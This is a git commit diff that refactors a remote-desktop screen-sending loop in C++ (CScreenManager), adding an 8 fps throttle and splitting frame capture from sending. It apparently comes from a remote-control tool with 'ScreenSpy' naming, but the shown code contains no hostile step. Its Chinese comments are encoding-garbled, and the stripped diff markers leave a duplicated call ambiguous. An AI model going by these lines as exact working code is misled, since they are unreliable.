远程桌面优化迟钝问题

This commit is contained in:
yuanyuanxiang
2019-01-07 20:46:03 +08:00
parent a98d69f434
commit c681cf0132
10 changed files with 67 additions and 29 deletions

View File

@@ -11,6 +11,7 @@
#else
#include <WinUser.h>
#endif
#include <time.h>
using namespace std;
//////////////////////////////////////////////////////////////////////
@@ -44,10 +45,25 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
This->WaitForDialogOpen();
This->SendFirstScreen();
clock_t last = clock();
This->SendFirstScreen();
const int fps = 8;// ֡<><D6A1>
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
while (This->m_bIsWorking)
{
This->SendNextScreen();
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
int span = sleep-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
delete[] szBuffer;
szBuffer = NULL;
}
}
cout<<"ScreenWorkThread Exit"<<endl;
@@ -196,35 +212,30 @@ VOID CScreenManager::SendFirstScreen()
szBuffer = NULL;
}
VOID CScreenManager::SendNextScreen()
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
LPVOID NextScreenData = NULL;
ULONG ulNextSendLength = 0;
NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData==NULL)
{
return;
if (ulNextSendLength == 0 || NextScreenData == NULL)
{
return NULL;
}
ulNextSendLength += 1;
LPBYTE szBuffer = new BYTE[ulNextSendLength];
if (szBuffer == NULL)
{
return;
}
char* szBuffer = new char[ulNextSendLength];
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength);
return szBuffer;
}
delete [] szBuffer;
szBuffer = NULL;
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)